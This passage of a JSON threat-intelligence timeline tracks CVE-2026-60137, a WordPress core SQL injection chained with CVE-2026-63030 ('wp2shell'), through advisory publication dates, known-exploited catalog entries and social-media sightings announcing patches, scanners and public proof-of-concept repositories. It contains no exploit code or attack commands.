{"metadata": {"vulnerability": "CVE-2026-60137", "count": 384, "kinds": {"milestone": 10, "sighting": 341, "kev": 15, "other": 18}}, "data": [{"timestamp": "2025-08-04T16:30:00Z", "date_only": false, "value": "2025-08-04T16:30:00Z", "kind": "other", "label": "Document generated", "source": "csaf_ncscnl \u00b7 NCSC-2026-0250", "record": "NCSC-2026-0250", "field": "document.tracking.generator.date"}, {"timestamp": "2026-07-17T00:00:00Z", "date_only": true, "value": "2026-07-17", "kind": "milestone", "label": "Published", "source": "certfr_alerte \u00b7 CERTFR-2026-ALE-007", "record": "CERTFR-2026-ALE-007", "field": "vendor_advisories.0.published_at"}, {"timestamp": "2026-07-17T00:00:00Z", "date_only": true, "value": "2026-07-17", "kind": "milestone", "label": "Published", "source": "certfr_avis \u00b7 CERTFR-2026-AVI-0904", "record": "CERTFR-2026-AVI-0904", "field": "vendor_advisories.0.published_at"}, {"timestamp": "2026-07-17T17:17:24.479Z", "date_only": false, "value": "2026-07-17T17:17:24.479Z", "kind": "milestone", "label": "Reserved", "source": "cvelistv5", "record": "CVE-2026-60137", "field": "cveMetadata.dateReserved"}, {"timestamp": "2026-07-17T19:14:12.159Z", "date_only": false, "value": "2026-07-17T19:14:12.159Z", "kind": "milestone", "label": "Published", "source": "cvelistv5", "record": "CVE-2026-60137", "field": "cveMetadata.datePublished"}, {"timestamp": "2026-07-17T20:17:00Z", "date_only": false, "value": "2026-07-17T20:17:00Z", "kind": "milestone", "label": "Published", "source": "osv_ubuntu \u00b7 UBUNTU-CVE-2026-60137", "record": "UBUNTU-CVE-2026-60137", "field": "published"}, {"timestamp": "2026-07-17T20:17:27.790Z", "date_only": false, "value": "2026-07-17T20:17:27.790", "kind": "milestone", "label": "Published", "source": "fkie_nvd \u00b7 FKIE_CVE-2026-60137", "record": "FKIE_CVE-2026-60137", "field": "published"}, {"timestamp": "2026-07-17T20:22:05.954Z", "date_only": false, "value": "2026-07-17T20:22:05.954349Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/stackflag.bsky.social/post/3mqulbqes2k2a", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "ab4a0317-cdfb-4c8f-95d9-afcf0fd4b891", "content": "CVE-2026-60137 - wordpress\nAn outdated version of WordPress allows hackers to inject malicious SQL code, potentially stealing sensitive data or taking control of the website. This is particularly concerning if you\u2026\n\nToo many irrelevant or confusing CVEs? Use stackflag.com\n\n#wordpress #CVE #infosec", "url": "https://bsky.app/profile/stackflag.bsky.social/post/3mqulbqes2k2a"}, {"timestamp": "2026-07-17T21:52:22.244Z", "date_only": false, "value": "2026-07-17T21:52:22.244868Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mquqd5kxgq2i", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "93d7c8a8-ff61-491d-8abb-f8a79bbbcf39", "content": "CVE-2026-60137 - WordPress\nCVE ID : CVE-2026-60137\n \n Published : July 17, 2026, 8:17 p.m. | 17\u00a0minutes ago\n \n Description : WordPress 6.8.x before 6.8.6, 6.9.x before 6.9.5, and 7.0.x before 7.0.2 does not properly sanitise the author__not_in parameter of WP_Query, which coul...", "url": "https://bsky.app/profile/cve.skyfleet.blue/post/3mquqd5kxgq2i"}, {"timestamp": "2026-07-17T22:19:07.251Z", "date_only": false, "value": "2026-07-17T22:19:07.251702Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mqursxmdqy2o", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "f5b1c907-b1bd-45b3-a07d-8d646a19a18a", "content": "The watchTowr team is rapidly reacting to the Remote Code Execution vulnerability chain (CVE-2026-63030 and CVE-2026-60137) in WordPress Core across our client-base, a just-disclosed flaw in the REST API batch dispat\u2026\n\n\u2014 from @watchtowrcyber (https://x.com/watchtowrcyber/status/2078238662827917416)", "url": "https://bsky.app/profile/infosecbot.bsky.social/post/3mqursxmdqy2o"}, {"timestamp": "2026-07-18T01:49:51.933Z", "date_only": false, "value": "2026-07-18T01:49:51.933679Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pingoru.bsky.social/post/3mqv5lssche27", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "d54c7775-9f25-41d2-b6bc-415c72e74bf6", "content": "\ud83d\udd34 Nexcess is reporting a Major Outage since 01:44 UTC\n\n\"WP2Shell Wordpress Core Critical Remote Code Execution Vulnerabilities, CVE-2026-60137 and\u2026\"\n\nAffects: Wordpress Core Updates\n\nLive timeline \u2192 https://pingoru.io/providers/nexcess/incidents/6534738\n\n#Nexcess #NexcessDown", "url": "https://bsky.app/profile/pingoru.bsky.social/post/3mqv5lssche27"}, {"timestamp": "2026-07-18T01:53:52.155Z", "date_only": false, "value": "2026-07-18T01:53:52.155389Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pingoru.bsky.social/post/3mqv5sy6vwi2n", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "33803ae3-a89c-4295-8e1c-c939fafca002", "content": "\ud83d\udd34 Liquid Web is reporting a Major Outage since 01:48 UTC\n\n\"WP2Shell Wordpress Core Critical Remote Code Execution Vulnerabilities, CVE-2026-60137 and CVE-2026-63030\"\n\nLive timeline \u2192 https://pingoru.io/providers/liquid-web/incidents/6534739\n\n#LiquidWeb #LiquidWebDown", "url": "https://bsky.app/profile/pingoru.bsky.social/post/3mqv5sy6vwi2n"}, {"timestamp": "2026-07-18T02:00:04.194Z", "date_only": false, "value": "2026-07-18T02:00:04.194638Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/GithubRedTeam/93917", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "c1eba3cf-60ed-4eff-8cdb-602fb94817c1", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wordpress-cve-2026-63030\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a Senanfurkan\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 00:44:24\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPre-auth RCE in WordPress Core via REST API batch route confusion + WP_Query SQLi (CVE-2026-63030 / CVE-2026-60137). Detection PoC.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/93917"}, {"timestamp": "2026-07-18T04:13:49.003Z", "date_only": false, "value": "2026-07-18T04:13:49.003Z", "kind": "other", "label": "Updated", "source": "cvelistv5 / WPScan", "record": "CVE-2026-60137", "field": "containers.cna.providerMetadata.dateUpdated"}, {"timestamp": "2026-07-18T06:00:04.982Z", "date_only": false, "value": "2026-07-18T06:00:04.982155Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/93933", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "a0c619bd-b994-46c0-96f9-ee949161d3a3", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell-lab\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a 47Cid\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 03:53:33\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nEducational PoC + lab for CVE-2026-63030 + CVE-2026-60137: pre-auth SQLi in WordPress core via REST batch-route confusion\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/93933"}, {"timestamp": "2026-07-18T06:07:26.275Z", "date_only": false, "value": "2026-07-18T06:07:26.275197Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/lalgorisme.bsky.social/post/3mqvlxtsavk2d", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "901ee37b-d5cb-4f9c-b046-21e92f2934a6", "content": "\ud83d\udea8 wp2shell: RCE cr\u00edtic al nucli de WordPress, no en cap plugin. Una petici\u00f3 an\u00f2nima pot desembocar en execuci\u00f3 de codi al servidor. \nAfecta: 6.9.0\u20136.9.4 i 7.0.0\u20137.0.1. \nEs soluciona amb les versions: 7.0.2/6.9.5/6.8.6. \nCVE-2026-63030 i CVE-2026-60137.\nclaude.ai/public/artif...", "url": "https://bsky.app/profile/lalgorisme.bsky.social/post/3mqvlxtsavk2d"}, {"timestamp": "2026-07-18T06:11:07.796Z", "date_only": false, "value": "2026-07-18T06:11:07.796792Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/ap/users/116810780845358081/statuses/116939389643192070", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "4372541d-aca3-4209-9e01-b792fe1cefe5", "content": "\ud83d\udea8 CRITICAL: WordPress Core \"wp2shell\" RCE\nA single anonymous HTTP request can lead to Remote Code Execution on vulnerable WordPress Core installations.\n\u26a0\ufe0f No plugins.\u26a0\ufe0f No themes.\u26a0\ufe0f No authentication required.\nTracked as:\ud83d\udd34 CVE-2026-63030 (REST API Batch Route Confusion \u2192 RCE)\ud83d\udd34 CVE-2026-60137 (Facilitated SQL Injection)\nAffected versions\u2022 WordPress 6.9.0\u20136.9.4\u2022 WordPress 7.0.0\u20137.0.1\n\u2705 Update immediately to WordPress 6.9.5 or 7.0.2. Due to the severity, WordPress has enabled forced automatic security updates for affected installations.\n\ud83d\udd17 Full technical analysis:https://thecybersecguru.com/news/wordpress-core-rce-wp2shell/\n#WordPress #WordPressSecurity #wp2shell #CVE202663030 #CVE202660137 #RCE #RemoteCodeExecution #SQLInjection #RESTAPI #CyberSecurity #InfoSec #WebSecurity #WebsiteSecurity #PatchNow #ThreatIntelligence #BlueTeam #SOC #Linux #PHP #ZeroDay #SecurityResearch #SysAdmin #DevSecOps", "url": "https://infosec.exchange/ap/users/116810780845358081/statuses/116939389643192070"}, {"timestamp": "2026-07-18T06:19:46.717Z", "date_only": false, "value": "2026-07-18T06:19:46.717219Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/365tipu.cz/post/3mqvmoh65uq2w", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "e6b48bd9-c876-4627-9315-c1fd6ecaae7b", "content": "Pokud jste je\u0161t\u011b nektualizovali WordPress tak zbyst\u0159ee, jsou tam dv\u011b z\u00e1va\u017en\u00e9 chyby p\u0159\u00edmo v j\u00e1d\u0159e. CVE-2026-60137: SQL injection a CVE-2026-63030: Unauthenticated remote code execution.", "url": "https://bsky.app/profile/365tipu.cz/post/3mqvmoh65uq2w"}, {"timestamp": "2026-07-18T06:28:59.354Z", "date_only": false, "value": "2026-07-18T06:28:59.354212Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/javiercasares.com/post/3mqvn6wa3bs23", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "e20af41e-4141-49fe-b328-a593b904cf35", "content": "#WordPress #Seguridad\nSi usas WordPress 6.9, 6.9 o 7.0, actualiza a las \u00faltimas versiones disponibles. Hay unos parches de seguridad que corrigen 2 elementos cr\u00edticos (RCE / SQLi).\n- CVE-2026-60137: corrigen: 6.8.6 - 6.9.5 - 7.0.2\n- CVE-2026-63030: corrigen: 6.9.5 - 7.0.2", "url": "https://bsky.app/profile/javiercasares.com/post/3mqvn6wa3bs23"}, {"timestamp": "2026-07-18T07:57:46.344Z", "date_only": false, "value": "2026-07-18T07:57:46.344998Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/securestep9.bsky.social/post/3mqvs5q5aac2z", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "1cdc74f2-12ca-41d4-bc8a-398569b35b36", "content": "#Wordpress: Critical Remote Code Execution (#RCE) chain of vulnerabilities CVE-2026-63030 and #SQLi SQL Injection CVE-2026-60137 dubbed #wp2shell in WordPress Core threaten 500+ million of websites. \nPatch now!:\n\ud83d\udc47\nthehackernews.com/2026/07/new-...", "url": "https://bsky.app/profile/securestep9.bsky.social/post/3mqvs5q5aac2z"}, {"timestamp": "2026-07-18T08:00:04.021Z", "date_only": false, "value": "2026-07-18T08:00:04.021980Z", "kind": "sighting", "label": "Seen", "source": "https://t.me/thehackernews/9544", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "8ba913e8-0720-4397-a254-54cb6664d1ce", "content": "\u26a1 UPDATE: #wp2shell now has two CVEs, and a working proof-of-concept is public.\n\n> CVE-2026-63030 breaks REST batch routing\n> CVE-2026-60137 injects SQL\n\nChained, they give an anonymous attacker code execution on affected WordPress sites.\n\nHow the exploit path works: https://thehackernews.com/2026/07/new-wp2shell-wordpress-core-flaw-lets.html", "url": "https://t.me/thehackernews/9544"}, {"timestamp": "2026-07-18T08:28:01.624Z", "date_only": false, "value": "2026-07-18T08:28:01.624087Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/newssecia.bsky.social/post/3mqvtts4tm22m", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "91b90be2-1487-4da9-a1bd-119d8982305f", "content": "\ud83e\udd16 CVE-2026-63030 / CVE-2026-60137: SQL injection in WP REST API batch endpoint allows unauthenticated RCE on all 6.9/7.0 sites. PoC published.\nhttps://thehackernews.com/2026/07/new-wp2shell-wordpress-core-flaw-lets.html", "url": "https://bsky.app/profile/newssecia.bsky.social/post/3mqvtts4tm22m"}, {"timestamp": "2026-07-18T08:43:23.355Z", "date_only": false, "value": "2026-07-18T08:43:23.355743Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/tomcat/statuses/116940092329234240", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "f8695508-e1f4-4b71-8e33-aa98b4ab0372", "content": "\u26a1 UPDATE: #wp2shell now has two CVEs, and a working proof-of-concept is public.\n> CVE-2026-63030 breaks REST batch routing> CVE-2026-60137 injects SQL\nChained, they give an anonymous attacker code execution on affected WordPress sites.\nHow the exploit path works: https://thehackernews.com/2026/07/new-wp2shell-wordpress-core-flaw-lets.html", "url": "https://infosec.exchange/users/tomcat/statuses/116940092329234240"}, {"timestamp": "2026-07-18T09:00:04.366Z", "date_only": false, "value": "2026-07-18T09:00:04.366182Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/93958", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "6b13234a-bd06-485c-90a1-a4c6e5e8f99e", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #Exploit #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a WP2Shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a NULL200OK\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 07:52:36\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nWP2Shell - CVE-2026-63030 / CVE-2026-60137 This tool exploits a critical SQL injection vulnerability in the WordPress REST API `/wp-json/batch/v1` endpoint, allowing unauthenticated attackers to execute arbitrary SQL queries and achieve Remote Code Execution (RCE) on vulnerable WordPress installations.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/93958"}, {"timestamp": "2026-07-18T09:00:04.452Z", "date_only": false, "value": "2026-07-18T09:00:04.452260Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/93950", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "12bcc2ef-749a-4bdd-b00a-271689b7f2b4", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a ekomsSavior\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 1  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 06:55:20\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nCVE-2026-63030 (RCE) + CVE-2026-60137 (SQLi)\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/93950"}, {"timestamp": "2026-07-18T10:46:01.244Z", "date_only": false, "value": "2026-07-18T10:46:01.244626Z", "kind": "sighting", "label": "Seen", "source": "https://infosec.exchange/users/obivan/statuses/116940574604966863", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "42777219-dc50-4728-a7d3-fe43ffd2dba4", "content": "wp2shell (CVE-2026-63030 + CVE-2026-60137): Independent Root Cause Analysis https://github.com/tcyph3r/wp2shell-cve-2026-63030-root-cause", "url": "https://infosec.exchange/users/obivan/statuses/116940574604966863"}, {"timestamp": "2026-07-18T10:46:10.175Z", "date_only": false, "value": "2026-07-18T10:46:10.175485Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/obivan.infosec.exchange.ap.brid.gy/post/3mqw3knqcm7b2", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "931724e0-84c1-47ee-a4eb-209d6a3bed32", "content": "wp2shell (CVE-2026-63030 + CVE-2026-60137): Independent Root Cause Analysis https://github.com/tcyph3r/wp2shell-cve-2026-63030-root-cause", "url": "https://bsky.app/profile/obivan.infosec.exchange.ap.brid.gy/post/3mqw3knqcm7b2"}, {"timestamp": "2026-07-18T11:01:56.536Z", "date_only": false, "value": "2026-07-18T11:01:56.536329Z", "kind": "other", "label": "Advisory revision", "source": "csaf_ncscnl \u00b7 NCSC-2026-0250", "record": "NCSC-2026-0250", "field": "document.tracking.revision_history.0.date"}, {"timestamp": "2026-07-18T11:01:56.536Z", "date_only": false, "value": "2026-07-18T11:01:56.536329Z", "kind": "milestone", "label": "Published", "source": "csaf_ncscnl \u00b7 NCSC-2026-0250", "record": "NCSC-2026-0250", "field": "document.tracking.initial_release_date"}, {"timestamp": "2026-07-18T11:01:56.536Z", "date_only": false, "value": "2026-07-18T11:01:56.536329Z", "kind": "other", "label": "Updated", "source": "csaf_ncscnl \u00b7 NCSC-2026-0250", "record": "NCSC-2026-0250", "field": "document.tracking.current_release_date"}, {"timestamp": "2026-07-18T12:00:03.634Z", "date_only": false, "value": "2026-07-18T12:00:03.634188Z", "kind": "sighting", "label": "Published proof of concept", "source": "https://t.me/GithubRedTeam/93979", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "59e7bd5e-ec95-428c-bedf-90ce4898a0d4", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #RCE\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a wp2shell\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a kulichr\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-07-18 10:08:13\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nNon-intrusive checker for CVE-2026-63030 / CVE-2026-60137 (\"wp2shell\"), a pre-authentication RCE chain in WordPress core.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "url": "https://t.me/GithubRedTeam/93979"}, {"timestamp": "2026-07-18T13:25:10.233Z", "date_only": false, "value": "2026-07-18T13:25:10.233202Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/hatena-bookmark.bsky.social/post/3mqweh3yqa42q", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "4683a5b8-c0b9-4558-bfb0-301e91605d9d", "content": "#\ud83d\udd16\u30c6\u30af\u30ce\u30ed\u30b8\u30fc\nWordPress\u306e\u6df1\u523b\u5ea6\u300c\u7dca\u6025\u300d\u8106\u5f31\u6027 wp2shell \u306e\u6982\u8981\u3068\u5bfe\u5fdc\u6307\u91dd - GMO Flatt Security Blog\n\n2026\u5e747\u670817\u65e5\u3001\u8a8d\u8a3c\u4e0d\u8981\u3067\u30ea\u30e2\u30fc\u30c8\u304b\u3089\u306e\u4efb\u610f\u30b3\u30fc\u30c9\u5b9f\u884c\uff08RCE\uff09\u306b\u3064\u306a\u304c\u308b\u8106\u5f31\u6027\u300cCVE-2026-63030\u300d\u300cCVE-2026-60137\u300d\u3092\u4fee\u6b63\u3057\u305fWordPress 6.8.6\u30016.9.5\u3001\u304a\u3088\u3073 7.0.2 \u304c\u516c\u958b\u3055\u308c\u307e\u3057\u305f\uff08\u53c2\u8003\uff1aWordPress 7.0.2 Release\uff09\u3002 \u5f0a\u793e GMO Flatt Security \u30ea\u30b5\u30fc\u30c1\u30c1\u30fc\u30e0\u306e\u691c\u8a3c\u3067\u306f\u3001\u8106\u5f31\u306a\u30d0\u30fc\u30b8\u30e7\u30f3\u3067\u306f\u6a19\u6e96\u69cb\u6210\u3067\u3082\u3001\u7ba1...", "url": "https://bsky.app/profile/hatena-bookmark.bsky.social/post/3mqweh3yqa42q"}, {"timestamp": "2026-07-18T13:27:07.339Z", "date_only": false, "value": "2026-07-18T13:27:07.339339Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/ifin-intel.org/post/3mqweklzf2c2d", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "5c003ea9-c9ec-4767-bf1b-c8c3071863b9", "content": "This now has two related CVEs: CVE-2026-63030 and CVE-2026-60137.", "url": "https://bsky.app/profile/ifin-intel.org/post/3mqweklzf2c2d"}, {"timestamp": "2026-07-18T13:42:16.124Z", "date_only": false, "value": "2026-07-18T13:42:16.124343Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mqwffjjxf22o", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "7a288037-eb02-40b1-aa0e-9b9ef01e8119", "content": "#WordPress admins - we got you covered! \ud83e\udee1 \u2192 We've just shipped detection for #wp2shell through our Network Scanner. \u26a1\ufe0f The fastest way to use it is to:\n\n\u25c9 run a single-CVE scan for CVE-2026-63030 (also covers CVE-2026-60137 - the SQLi flaw that chains & leads to RCE)\n\u25c9 Based on your scan results...", "url": "https://bsky.app/profile/pentest-tools.com/post/3mqwffjjxf22o"}, {"timestamp": "2026-07-18T13:42:16.609Z", "date_only": false, "value": "2026-07-18T13:42:16.609570Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/pentest-tools.com/post/3mqwffnk6vk2o", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "efa92fde-e8ee-41eb-a3cf-e8b528bfd4fa", "content": "#WordPress admins - we got you covered! \ud83e\udee1 \u2192 We've just shipped detection for #wp2shell through our Network Scanner. \u26a1\ufe0f The fastest way to use it is to:\n\n\u25c9 run a single-CVE scan for CVE-2026-63030 (also covers CVE-2026-60137 - the SQLi flaw that chains & leads to RCE)\n\u25c9 Based on your scan results...", "url": "https://bsky.app/profile/pentest-tools.com/post/3mqwffnk6vk2o"}, {"timestamp": "2026-07-18T14:02:42.231Z", "date_only": false, "value": "2026-07-18T14:02:42.231810Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mqwgkaiooz2c", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "9f3231c3-a373-4e7d-8152-ca3ce95921a4", "content": "\ud83d\udea8 VULN: WordPress core 'wp2shell' \u2014 CVE-2026-63030 (REST API batch-route confusion) chained with CVE-2026-60137 (SQLi) gives unauthenticated RCE on a bare install. Fixed in 6.9.5/7.0.2 (forced auto-update); 6.8.x SQLi fixed in 6.8.6. Public PoC live. Src: The Hacker News", "url": "https://bsky.app/profile/kotosecurity.bsky.social/post/3mqwgkaiooz2c"}, {"timestamp": "2026-07-18T15:09:19.459Z", "date_only": false, "value": "2026-07-18T15:09:19.459912Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/blackhatnews.tokyo/post/3mqwkbej5mv22", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "1b124a01-3e96-42f8-ab18-3467b8acf8d9", "content": "WordPress\u306b\u65b0\u305f\u306a\u9ad8\u6df1\u523b\u5ea6\u8106\u5f31\u60272\u4ef6\u3001\u76f4\u3061\u306b\u30d1\u30c3\u30c1\u9069\u7528\u3092!\n\n7.0.2\u7248\u306eWordPress\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30ea\u30ea\u30fc\u30b9\u3067\u306f\u3001\u6df1\u523b\u5ea6\u30af\u30ea\u30c6\u30a3\u30ab\u30eb1\u4ef6\u3068\u9ad8\u6df1\u523b\u5ea61\u4ef6\u306e\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u554f\u984c\u304c\u4fee\u6b63\u3055\u308c\u307e\u3057\u305f\u3002 WordPress\u30bb\u30ad\u30e5\u30ea\u30c6\u30a3\u30c1\u30fc\u30e0\u306b\u5831\u544a\u3055\u308c\u305f\u8106\u5f31\u6027\u306f\u4ee5\u4e0b\u306e\u901a\u308a\u3067\u3059\u3002 CVE-2026-60137 \u2013 TF1T\u3001dtro\u3001haongo\u306e\u30c1\u30fc\u30e0\u306b\u3088\u3063\u3066\u5831\u544a\u3055\u308c\u305f...", "url": "https://bsky.app/profile/blackhatnews.tokyo/post/3mqwkbej5mv22"}, {"timestamp": "2026-07-18T15:09:53.900Z", "date_only": false, "value": "2026-07-18T15:09:53.900661Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/infosecbot.bsky.social/post/3mqwkcegsyy2c", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "3705f691-7607-464b-98b2-b157df170785", "content": "It's Friday, so of course we can't have nice things! \n\nInitial technical analysis of #wp2shell CVE-2026-63030 and CVE-2026-60137 from the \n@VulnCheckAI\n research team \u2014 so far, it could be worse (but it's still\u2026\n\n\ud83d\udd01 RT @catc0n | reposted by @HackingLZ\nhttps://x.com/catc0n/status/2078306495817453717", "url": "https://bsky.app/profile/infosecbot.bsky.social/post/3mqwkcegsyy2c"}, {"timestamp": "2026-07-18T15:32:00Z", "date_only": false, "value": "2026-07-18T15:32:00+00:00", "kind": "kev", "label": "Asserted", "source": "kevintel", "record": "CVE-2026-60137", "field": "timestamps.asserted_at", "uuid": "8d6ec1a6-0a0b-4316-8704-6d652396db19", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-18T15:32:00Z", "date_only": false, "value": "2026-07-18T15:32:00.000Z", "kind": "kev", "label": "Catalog added", "source": "kevintel", "record": "CVE-2026-60137", "field": "evidence.0.details.added_date", "uuid": "8d6ec1a6-0a0b-4316-8704-6d652396db19", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-18T15:32:00Z", "date_only": false, "value": "2026-07-18T15:32:00+00:00", "kind": "kev", "label": "First seen", "source": "kevintel", "record": "CVE-2026-60137", "field": "timestamps.first_seen_at", "uuid": "8d6ec1a6-0a0b-4316-8704-6d652396db19", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-18T15:32:00Z", "date_only": false, "value": "2026-07-18T15:32:00+00:00", "kind": "kev", "label": "Status updated", "source": "kevintel", "record": "CVE-2026-60137", "field": "status.status_updated_at", "uuid": "8d6ec1a6-0a0b-4316-8704-6d652396db19", "status": {"status_reason": "confirmed", "exploited": true}}, {"timestamp": "2026-07-18T15:48:05.376Z", "date_only": false, "value": "2026-07-18T15:48:05.376012Z", "kind": "sighting", "label": "Seen", "source": "https://bsky.app/profile/secdb.bsky.social/post/3mqwmgleo3s2y", "record": "CVE-2026-60137", "field": "creation_timestamp", "uuid": "f97f0345-0093-4207-aa16-79fd04cce3ca", "content": "\ud83d\udea8 wp2shell affects multiple vulnerabilities (CVE-2026-63030, CVE-2026-60137)\n\nRunning WordPress? Check your versions and patch to 6.8.6/6.9.5/7.0.2. If you can't patch immediately, apply the mitigations in the meantime.\n\n\u2139\ufe0f secdb.nttzen.cloud/updates/a5a5...\n\n#infosec #wordpress #rce #sqlinjection", "url": "https://bsky.app/profile/secdb.bsky.social/post/3mqwmgleo3s2y"}, {"timestamp": 